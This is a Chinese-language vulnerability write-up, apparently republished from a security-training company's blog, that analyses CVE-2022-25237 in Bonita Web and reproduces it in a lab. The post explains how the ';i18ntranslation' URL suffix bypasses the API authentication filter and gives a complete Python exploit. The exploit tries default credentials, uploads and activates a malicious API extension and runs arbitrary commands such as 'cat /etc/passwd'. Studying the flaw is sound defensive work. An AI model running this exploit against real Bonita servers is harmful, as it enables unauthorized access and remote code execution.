草庐IT

Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)

蚁景科技 2023-03-28 原文

一、漏洞原理

漏洞简述

Bonitasoft 是一个业务自动化平台,可以更轻松地在业务流程中构建、部署和管理自动化应用程序;

Bonita 是一个用于业务流程自动化和优化的开源和可扩展平台。

Bonita Web 2021.2版本受到认证绕过影响,因为其API认证过滤器的过滤模式过于宽泛。

通过添加恶意构造的字符串到API URL,普通用户可以访问需特权的API端点。这可能导致特权API操作将恶意代码添加至服务器,从而造成RCE攻击。

漏洞影响范围

供应商:Bonitasoft

产品:Bonita Platform

确认受影响版本:< 2022.1-u0

修复版本:/

社区版:< 2022.1-u0 (7.14.0)

订购版:< 2022.1-u0 (7.14.0) 、2021.2-u4 (7.13.4) 、2021.1-0307 (7.12.11) 、7.11.7

漏洞分析

本漏洞的漏洞点来自系统中web.xml文件,该文件用于定义系统应用的路由和如何处理路由的认证及授权。以社区版2021.2 u0为例,XML配置文件路径为bonita\BonitaCommunity-2021.2-u0\server\webapps\bonita\WEB-INF\web.xml。

按照经验来说,这里会是认证绕过易产生之处。确切地说,web.xml中的过滤器很有效地决定了访问特定路由是否应该进行过滤。下图认证过滤器定义赋值参数excludePatterns,值为i18ntranslation。之后将参数传递给2个不同过滤器类:RestAPIAuthorizationFilter, TokenValidatorFilter。

同时上述2个类RestAPIAuthorizationFilter, TokenValidatorFilter,存在同一父类AbstractAuthorizationFilter。

分析这些过滤器都对AbstractAuthorizationFilter进行扩展处理,其中doFilter方法我们展开说明。

路径为org.bonitasoft.console.common.server.login.filter.AbstractAuthorizationFilter#doFilter。

通过sessionIsNotNeeded方法进行检查,如果返回结果为真,则继续代码流程。

(checkValidCondition方法主要对doFilter的两个参数httpRequest、httpResponse进行检查,可能用于同源策略检查,不详细叙述)

下图可以看到该方法主要是参照excludePatterns对请求 URL路径字段进行检查。如果该路径存在该模式,会绕过认证过滤器,从而成功访问资源。

开始定义状态值isMatched,默认值为false。开始进行空值检查,对excludePatterns进行分隔处理。

循环进行检查,如果requestURL包含excludePatterns,则状态值isMatched变为true。跳出循环。

在前面XML文件中参数excludePattern的值为i18ntranslation。这意味着URL路径如果包含i18ntranslation,则会允许认证绕过。

根据代码特征测试,“/i18ntranslation/../“ 或 ”;i18ntranslation“ 可以进行绕过。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

另外,远程命令执行(RCE)该漏洞主要是以上传恶意文件作为方式,上传接口同样定义在web.xml,为/API/pageUpload。

getPagePermissions方法在文件处理过程需要session,该session就是从apiSession获取。

根据代码,若未登录状况,apisession无法赋值,该方法会抛出异常。

从攻击角度,我们需要通过非特权下普通用户进行会话,使得apisession正常赋值,进一步实现远程命令执行。

二、漏洞复现实战

环境搭建

  1. docker镜像:

bonita - Official Image | Docker Hub

  1. vulfocus:

bonita镜像

漏洞复现

首先以超级管理员身份进入bonita,创建用户功能

创建普通用户

之后根据POC进行复现

POC:

import requests
import sys
​
​
class exploit:
    try:
        session = requests.session()
        bonita_user = sys.argv[1]
        bonita_password = sys.argv[2]
        target_path = sys.argv[3]
        cmd = sys.argv[4]
        tempPath = ""
        extension_id = ""
        bonita_default_user = "install"
        bonita_default_password = "install"
        platform_default_user = "platformAdmin"
        platform_default_password = "platform"
    except:
        print(f"Usage: python3 {sys.argv[0]} <username> <password> http://localhost:8080/bonita 'cat /etc/passwd'")
        exit()
​
def try_default_logins():
    req_url = f"{exploit.target_path}/loginservice"
    req_cookies = {"x": "x"}
    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
    req_data = {"username": exploit.bonita_default_user, "password": exploit.bonita_default_password, "_l": "en"}
    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
    if r.status_code == 401:
        return False
        # This does not seem to work when authenticating as platformAdmin, maybe it can though.
    #     req_url = f"{exploit.target_path}/platformloginservice"
    #     req_cookies = {"x": "x"}
    #     req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
    #     req_data = {"username": exploit.platform_default_user, "password": exploit.platform_default_password, "_l": "en"}
    #     r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
    #     if r.status_code == 200:
    #         print(f"[+] Found default creds: {exploit.platform_default_user}:{exploit.platform_default_password}")
    #         return True
    else:
        print(f"[+] Found default creds: {exploit.bonita_default_user}:{exploit.bonita_default_password}")
        return True
​
​
​
def login():
    req_url = f"{exploit.target_path}/loginservice"
    req_cookies = {"x": "x"}
    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
    req_data = {"username": exploit.bonita_user, "password": exploit.bonita_password, "_l": "en"}
    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
    if r.status_code == 401:
        print("[!] Could not get a valid session using those credentials.")
        exit()
    else:
        print(f"[+] Authenticated with {exploit.bonita_user}:{exploit.bonita_password}")
​
def upload_api_extension():
    req_url = f"{exploit.target_path}/API/pageUpload;i18ntranslation?action=add"
    files=[
    ("file",("rce_api_extension.zip",open("rce_api_extension.zip",'rb'),'application/octet-stream'))
    ]
    r = exploit.session.post(req_url, files=files)
    exploit.tempPath = r.json()["tempPath"]
​
def activate_api_extension():
    req_url = f"{exploit.target_path}/API/portal/page/;i18ntranslation"
    req_headers = {"Content-Type": "application/json;charset=UTF-8"}
    req_json={"contentName": "rce_api_extension.zip", "pageZip": exploit.tempPath}
    r = exploit.session.post(req_url, headers=req_headers, json=req_json)
    exploit.extension_id = r.json()["id"]
​
def delete_api_extension():
    req_url = f"{exploit.target_path}/API/portal/page/{exploit.extension_id};i18ntranslation"
    exploit.session.delete(req_url)
​
def run_cmd():
    req_url = f"{exploit.target_path}/API/extension/rce?p=0&c=1&cmd={exploit.cmd}"
    r = exploit.session.get(req_url)
    print(r.json()["out"])
​
if not try_default_logins():
    print("[!] Did not find default creds, trying supplied credentials.")
    login()
upload_api_extension()
activate_api_extension()
try:
    run_cmd()
except:
    delete_api_extension()
delete_api_extension()

 

执行POC

漏洞修复

建议更新至2022.1-u0以上版本

结束语

本文主要介绍了CVE-2022-25237 Bonitasoft 认证绕过和RCE漏洞的原理分析及复现过程,漏洞主要利用构造恶意字段添加至API URL,绕过过滤器进行访问资源,从而造成认证绕过,进一步可远程命令执行。

根据漏洞原理可以参照的是,在安全控制方面,左移安全中安全开发过程及时开展代码审计等测试工作,避免上述漏洞涉及的问题。

更多靶场实验练习、网安学习资料,请点击这里>>

 

有关Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)的更多相关文章

  1. 映宇宙2022年营收63亿元:同比下降三成,毛利率提升4.3个百分点 - 2

    3月26日,映宇宙(HK:03700,即“映客”)发布截至2022年12月31日的2022年度业绩财务报告。财报显示,映宇宙2022年的总营收为63.19亿元,较2021年同期的91.76亿元下降31.1%。2022年,映宇宙的经营亏损为4698.7万元,2021年同期则为净利润4.57亿元;期内亏损(净亏损)为1.68亿元,2021年同期的净利润为4.33亿元;非国际财务报告准则经调整净利润为3.88亿元,2021年同期为4.82亿元,同比下降19.6%。 映宇宙在财报中表示,收入减少主要是由于行业竞争加剧,该集团对旗下产品采取更为谨慎的运营策略以应对市场变化。不过,映宇宙的毛利率则有所提升

  2. ruby-on-rails - rails 4 - 更新用户对象并绕过模型验证 - 2

    我正在按照MicahelHartl的Rails教程构建示例应用程序。我试着探索了一下并添加了一些不同的东西——所以在用户表中我添加了一个account_balance列。问题是User模型内置了一堆验证:validates:name,presence:true,length:{maximum:50}validates:username,presence:true,length:{maximum:50}VALID_EMAIL_REGEX=/\A[\w+\-.]+@[a-z\d\-]+(?:\.[a-z\d\-]+)*\.[a-z]+\z/ivalidates:email,presence

  3. IDEA 2022 创建 Spring Boot 项目详解 - 2

    如何用IDEA2022创建并初始化一个SpringBoot项目?目录如何用IDEA2022创建并初始化一个SpringBoot项目?0. 环境说明1.  创建SpringBoot项目 2.编写初始化代码0. 环境说明IDEA2022.3.1JDK1.8SpringBoot1.  创建SpringBoot项目        打开IDEA,选择NewProject创建项目。        填写项目名称、项目构建方式、jdk版本,按需要修改项目文件路径等信息。        选择springboot版本以及需要的包,此处只选择了springweb。        此处需特别注意,若你使用的是jdk1

  4. ruby - 绕过 Element 的方法无法滚动到 View 中 - Watir-webdriver with Ruby - 2

    因此,我们的页面中有以下代码:OnOff这是2个单选按钮。'开和关'。“关闭”是默认值。使用Watir-webdriver和Ruby,我们想要选择“打开”单选按钮。我们这样做:browser.radio(:id=>"HasRegistration_true").set但在这样做时,我们得到以下错误:`WebElement.clickElement':Elementcannotbescrolledintoview:[objectHTMLInputElement](Selenium::WebDriver::Error::MoveTargetOutOfBoundsError)我们知道Sele

  5. ruby-on-rails - 在仅数据迁移期间绕过验证以修复验证错误 - 2

    在rails中,我有迁移来改变生产数据以适应新的验证规则,有几处错误所以我有2个不同的迁移(它们可能是一个但仍然是分开运行的两个方面)一个失败,因为另一个验证不是遇到了,反之亦然验证在模型中是新的,例如validates_uniqueness_of:job_id,:scope=>[:day,:time,:user_id,:overtime,:comments],:message=>"DuplicateEntry,Pleasecheckyourdata"validates_uniqueness_of:job_id,:scope=>[:day,:user_id,:comments],:me

  6. ruby - ruby 中的字符串文字如何绕过 new/initialize,有没有办法对此进行检测? - 2

    今天下午我在玩一个主意,偶然发现了一些我不太明白的东西。基本上我在这个实验中试图实现的是在每次创建字符串时以某种方式知道(供以后使用,例如在某种DSL中)。以下内容适用于通过String.new创建的任何字符串:class::Stringclass例如irb>String.new("foo")initializing'foo'newing'foo'=>"foo"我想不通的是当您使用文字时如何创建String对象。例如,为什么这不经过相同的初始化和设置:irb>"literalstring"=>"literalstring"我意识到当字符串是文字时,编译器会做一些不同的事情,但它不需要初

  7. 2022年10月23日周赛ZZULIOJ - 2

    文章目录问题B:芝华士威士忌和他的小猫咪们代码&注释问题C:愿我的弹雨能熄灭你们的痛苦代码注释问题D:猜糖果游戏代码注释问题E:有趣的次方代码注释问题F:这是一个简单题代码&注释问题G:打印矩阵代码注释问题H:scz的简单考验代码注释问题I:完美区间代码&注释问题J:是狂热的小迷妹一枚吖~代码&注释2022年10月23日周赛ZZULIOJ问题B:芝华士威士忌和他的小猫咪们时间限制:1Sec内存限制:128MB题目描述芝华士威士忌很喜欢带着他的猫咪们一块跑着玩。但是小猫咪们很懒,只有在离他y米以内才愿意和他一块跑。这天他在坐标为x的位置,他想和他的猫咪们一块跑着玩。有n个小猫咪,第i个小猫咪在坐

  8. 【华为OD机试真题 java、python、c++】荒地电站建设【2022 Q4 100分】(100%通过+复盘思路) - 2

    代码请进行一定修改后使用,本代码保证100%通过率,本题目提供了java、python、c++三种代码。复盘思路在文章的最后题目描述祖国西北部有一片大片荒地,其中零星的分布着一些湖泊,保护区,矿区;整体上常年光照良好,但是也有一些地区光照不太好。某电力公司希望在这里建设多个光伏电站,生产清洁能源对每平方公里的土地进行了发电评估,其中不能建设的区域发电量为0kw,可以发电的区域根据光照,地形等给出了每平方公里年发电量x千瓦。我们希望能够找到其中集中的矩形区域建设电站,能够获得良好的收益。输入描述第一行输入为调研的地区长,宽,以及准备建设的电站【长宽相等,为正方形】的边长最低要求的发电量之后每行为

  9. 玩客云刷机(2022-3-19亲测) - 2

    https://cloud.189.cn/t/BJbYreYbmUj2(访问码:djz6)(网盘2022-4-1更新)一、刷入armbian。1.1使用AmlBurnTool软件烧录首选底包至固件。烧录完成后断开玩客云电源备用。(靠近hdmi的那个口子。)1.2使用WIn32diskimager软件将emmc固件写入U盘。1.3写入成功后,先将U盘插入玩客云靠近网线接口端的USB口,再接入电源。玩客云通电后指示灯会先亮绿灯,再亮蓝灯,红蓝闪烁,最后蓝灯常亮。等到确定蓝灯常亮后,再拔掉U盘、电源。(最好蓝灯常亮后,启动一次玩客云,看看ssh是否正常。)1.4使用WIn32diskimager写入

  10. ruby-on-rails - 绕过辅助开发 gem 的 bundler - 2

    在我的Rails项目的Gemfile中,我开始有辅助gem,例如“ruby-debug19”、“perftools.rb”或“irbtools”。所有这些实际上与项目无关,而是我本地开发设置的一部分。但是因为我使用的是bundler,所以我无法加载这些gems(即使它们是在系统范围内安装的),除非我将它们添加到Gemfile中。在我看来,这有点代码味道。例如,我希望能够在railsconsole中require'irbtools'而无需将“irbtools”添加到我的Gemfile。有没有办法将辅助gem排除在Gemfile之外,并且仍然能够在我需要它们时加载它们以进行调试、分析等?

随机推荐